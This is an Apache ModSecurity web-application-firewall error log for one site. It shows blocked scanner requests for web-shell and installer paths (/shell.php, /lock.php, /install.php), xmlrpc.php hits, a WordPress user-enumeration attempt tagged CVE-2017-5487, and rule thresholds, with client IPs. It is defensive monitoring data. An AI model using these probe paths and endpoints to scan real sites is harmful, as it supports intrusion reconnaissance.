[Sat Mar 14 03:32:52.386801 2026] [:error] [pid 48070:tid 48096] [client 106.119.167.146:55495] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abRmZEIvrhMS5BVHxNlHggAAABg"]
[Sat Mar 14 04:15:33.874474 2026] [:error] [pid 4018:tid 4027] [client 20.104.119.247:62332] [client 20.104.119.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "abRwZQEk1fxdMMkDDaK9FAAAAMI"]
[Sat Mar 14 04:15:35.381095 2026] [:error] [pid 4018:tid 4042] [client 20.104.119.247:64142] [client 20.104.119.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "abRwZwEk1fxdMMkDDaK9GwAAANE"]
[Sat Mar 14 04:15:36.986570 2026] [:error] [pid 3914:tid 3996] [client 20.104.119.247:62301] [client 20.104.119.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "abRwaPH_HeUqa_sn9-D0mgAAAIw"]
[Sat Mar 14 04:15:38.047652 2026] [:error] [pid 4018:tid 4036] [client 20.104.119.247:64153] [client 20.104.119.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "abRwagEk1fxdMMkDDaK9IwAAAMs"]
[Sat Mar 14 04:52:50.982002 2026] [:error] [pid 35801:tid 35816] [client 14.231.164.129:41343] [client 14.231.164.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.231.164.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abR5Im8tVFelXGsqbU-Y5QAAAQw"]
[Sat Mar 14 05:08:21.317411 2026] [:error] [pid 3914:tid 4008] [client 39.60.177.48:49596] [client 39.60.177.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.60.177.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abR8xfH_HeUqa_sn9-ADZAAAAJg"]
[Sat Mar 14 05:15:48.418035 2026] [:error] [pid 3913:tid 3965] [client 39.60.177.48:52442] [client 39.60.177.48] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abR-hB9qvQd4GQHUp6_5xQAAAEg"]
[Sat Mar 14 05:20:18.318122 2026] [:error] [pid 3913:tid 3980] [client 39.60.177.48:53795] [client 39.60.177.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.60.177.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abR_kh9qvQd4GQHUp6_6fgAAAFc"]
[Sat Mar 14 05:25:12.804279 2026] [:error] [pid 3912:tid 3929] [client 65.108.2.171:29126] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abSAuMXFZBK-jpdCvTHF7QAAAAI"]
[Sat Mar 14 05:25:14.828871 2026] [:error] [pid 3912:tid 3931] [client 65.108.2.171:54598] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abSAusXFZBK-jpdCvTHF8gAAAAQ"]
[Sat Mar 14 05:25:16.925192 2026] [:error] [pid 3914:tid 3999] [client 65.108.2.171:54612] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abSAvPH_HeUqa_sn9-AHgQAAAI8"]
[Sat Mar 14 05:25:18.984657 2026] [:error] [pid 4018:tid 4047] [client 65.108.2.171:54614] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abSAvgEk1fxdMMkDDaLRuAAAANY"]
[Sat Mar 14 05:25:21.051277 2026] [:error] [pid 35801:tid 35813] [client 65.108.2.171:54618] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abSAwW8tVFelXGsqbU-mGAAAAQk"]
[Sat Mar 14 05:25:23.298981 2026] [:error] [pid 4018:tid 4043] [client 65.108.2.171:54624] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abSAwwEk1fxdMMkDDaLRwAAAANI"]
[Sat Mar 14 05:25:25.314058 2026] [:error] [pid 3913:tid 3966] [client 65.108.2.171:43496] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abSAxR9qvQd4GQHUp6_7jQAAAEk"]
[Sat Mar 14 05:25:27.187406 2026] [:error] [pid 4018:tid 4026] [client 65.108.2.171:43500] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abSAxwEk1fxdMMkDDaLRxQAAAME"]
[Sat Mar 14 05:25:29.228309 2026] [:error] [pid 4018:tid 4032] [client 65.108.2.171:43512] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abSAyQEk1fxdMMkDDaLRywAAAMc"]
[Sat Mar 14 05:25:31.297147 2026] [:error] [pid 35801:tid 35810] [client 65.108.2.171:43524] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abSAy28tVFelXGsqbU-mJQAAAQY"]
[Sat Mar 14 05:25:33.447836 2026] [:error] [pid 3912:tid 3932] [client 65.108.2.171:43538] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abSAzcXFZBK-jpdCvTHF-gAAAAU"]
[Sat Mar 14 05:25:35.581868 2026] [:error] [pid 35801:tid 35811] [client 65.108.2.171:1940] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abSAz28tVFelXGsqbU-mKAAAAQc"]
[Sat Mar 14 05:25:37.684693 2026] [:error] [pid 3914:tid 3984] [client 65.108.2.171:1956] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abSA0fH_HeUqa_sn9-AHqAAAAIA"]
[Sat Mar 14 05:25:39.656398 2026] [:error] [pid 3914:tid 4005] [client 65.108.2.171:1964] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abSA0_H_HeUqa_sn9-AHrAAAAJU"]
[Sat Mar 14 05:25:41.553302 2026] [:error] [pid 4018:tid 4029] [client 65.108.2.171:1972] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abSA1QEk1fxdMMkDDaLR4AAAAMQ"]
[Sat Mar 14 05:25:43.554913 2026] [:error] [pid 3914:tid 3985] [client 65.108.2.171:1978] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abSA1_H_HeUqa_sn9-AHsQAAAIE"]
[Sat Mar 14 05:25:45.684006 2026] [:error] [pid 4018:tid 4048] [client 65.108.2.171:54736] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abSA2QEk1fxdMMkDDaLR5gAAANc"]
[Sat Mar 14 05:25:47.848318 2026] [:error] [pid 3913:tid 3971] [client 65.108.2.171:54744] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abSA2x9qvQd4GQHUp6_7pwAAAE4"]
[Sat Mar 14 05:25:49.953170 2026] [:error] [pid 4018:tid 4026] [client 65.108.2.171:54754] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abSA3QEk1fxdMMkDDaLR6gAAAME"]
[Sat Mar 14 05:25:52.039980 2026] [:error] [pid 4018:tid 4038] [client 65.108.2.171:54768] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abSA4AEk1fxdMMkDDaLR8AAAAM0"]
[Sat Mar 14 05:25:54.105368 2026] [:error] [pid 4018:tid 4034] [client 65.108.2.171:54774] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abSA4gEk1fxdMMkDDaLR8wAAAMk"]
[Sat Mar 14 05:25:56.263771 2026] [:error] [pid 3912:tid 3944] [client 65.108.2.171:22738] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abSA5MXFZBK-jpdCvTHGEAAAABE"]
[Sat Mar 14 05:25:58.324724 2026] [:error] [pid 4018:tid 4045] [client 65.108.2.171:22752] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abSA5gEk1fxdMMkDDaLR-QAAANQ"]
[Sat Mar 14 05:26:00.224300 2026] [:error] [pid 3913:tid 3979] [client 65.108.2.171:22768] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "abSA6B9qvQd4GQHUp6_7twAAAFY"]
[Sat Mar 14 05:26:02.278209 2026] [:error] [pid 3913:tid 3967] [client 65.108.2.171:22778] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "abSA6h9qvQd4GQHUp6_7ugAAAEo"]
[Sat Mar 14 05:26:04.320562 2026] [:error] [pid 3913:tid 3974] [client 65.108.2.171:28080] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "abSA7B9qvQd4GQHUp6_7vwAAAFE"]
[Sat Mar 14 05:26:06.314457 2026] [:error] [pid 35801:tid 35807] [client 65.108.2.171:28084] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "abSA7m8tVFelXGsqbU-mQQAAAQM"]
[Sat Mar 14 05:30:17.149117 2026] [:error] [pid 4018:tid 4040] [client 181.136.204.174:56863] [client 181.136.204.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.136.204.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abSB6QEk1fxdMMkDDaLS8wAAAM8"]
[Sat Mar 14 05:30:39.506180 2026] [:error] [pid 35801:tid 35825] [client 202.47.45.54:18317] [client 202.47.45.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.45.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abSB_28tVFelXGsqbU-oAAAAARU"]
[Sat Mar 14 05:59:22.027671 2026] [:error] [pid 4018:tid 4026] [client 20.188.34.102:33603] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "abSIugEk1fxdMMkDDaLZEQAAAME"]
[Sat Mar 14 05:59:23.400387 2026] [:error] [pid 57226:tid 57233] [client 20.188.34.102:30776] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "abSIu2xFlXQvNewjeI8gJgAAAUM"]
[Sat Mar 14 05:59:25.794502 2026] [:error] [pid 35801:tid 35805] [client 20.188.34.102:26702] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "abSIvW8tVFelXGsqbU-wzwAAAQE"]
[Sat Mar 14 05:59:27.618656 2026] [:error] [pid 3913:tid 3961] [client 20.188.34.102:7631] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "abSIvx9qvQd4GQHUp68EcgAAAEQ"]
[Sat Mar 14 05:59:29.811467 2026] [:error] [pid 3914:tid 3996] [client 20.188.34.102:37435] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "abSIwfH_HeUqa_sn9-AM8gAAAIw"]
[Sat Mar 14 05:59:30.948572 2026] [:error] [pid 3913:tid 3972] [client 20.188.34.102:31426] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "abSIwh9qvQd4GQHUp68EdQAAAE8"]
[Sat Mar 14 05:59:31.757331 2026] [:error] [pid 3913:tid 3976] [client 20.188.34.102:27569] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "abSIwx9qvQd4GQHUp68EdwAAAFM"]
[Sat Mar 14 05:59:34.486168 2026] [:error] [pid 57226:tid 57250] [client 20.188.34.102:27564] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "abSIxmxFlXQvNewjeI8gTgAAAVQ"]
[Sat Mar 14 05:59:36.476392 2026] [:error] [pid 3913:tid 3959] [client 20.188.34.102:37385] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "abSIyB9qvQd4GQHUp68EgAAAAEI"]
[Sat Mar 14 05:59:38.972618 2026] [:error] [pid 35801:tid 35806] [client 20.188.34.102:29120] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "abSIym8tVFelXGsqbU-w2AAAAQI"]
[Sat Mar 14 05:59:40.839420 2026] [:error] [pid 4018:tid 4025] [client 20.188.34.102:31463] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "abSIzAEk1fxdMMkDDaLZGQAAAMA"]
[Sat Mar 14 05:59:41.927370 2026] [:error] [pid 57226:tid 57241] [client 20.188.34.102:31263] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "abSIzWxFlXQvNewjeI8gWQAAAUs"]
[Sat Mar 14 05:59:49.443967 2026] [:error] [pid 3913:tid 3978] [client 20.188.34.102:7672] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "abSI1R9qvQd4GQHUp68EjQAAAFU"]
[Sat Mar 14 05:59:51.191875 2026] [:error] [pid 35801:tid 35822] [client 20.188.34.102:35090] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "abSI128tVFelXGsqbU-w6gAAARI"]
[Sat Mar 14 05:59:52.100023 2026] [:error] [pid 35801:tid 35816] [client 20.188.34.102:26297] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "abSI2G8tVFelXGsqbU-w6wAAAQw"]
[Sat Mar 14 05:59:53.197339 2026] [:error] [pid 3913:tid 3974] [client 20.188.34.102:8018] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "abSI2R9qvQd4GQHUp68EjwAAAFE"]
[Sat Mar 14 05:59:53.944207 2026] [:error] [pid 3914:tid 3997] [client 20.188.34.102:27564] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "abSI2fH_HeUqa_sn9-AM-wAAAI0"]
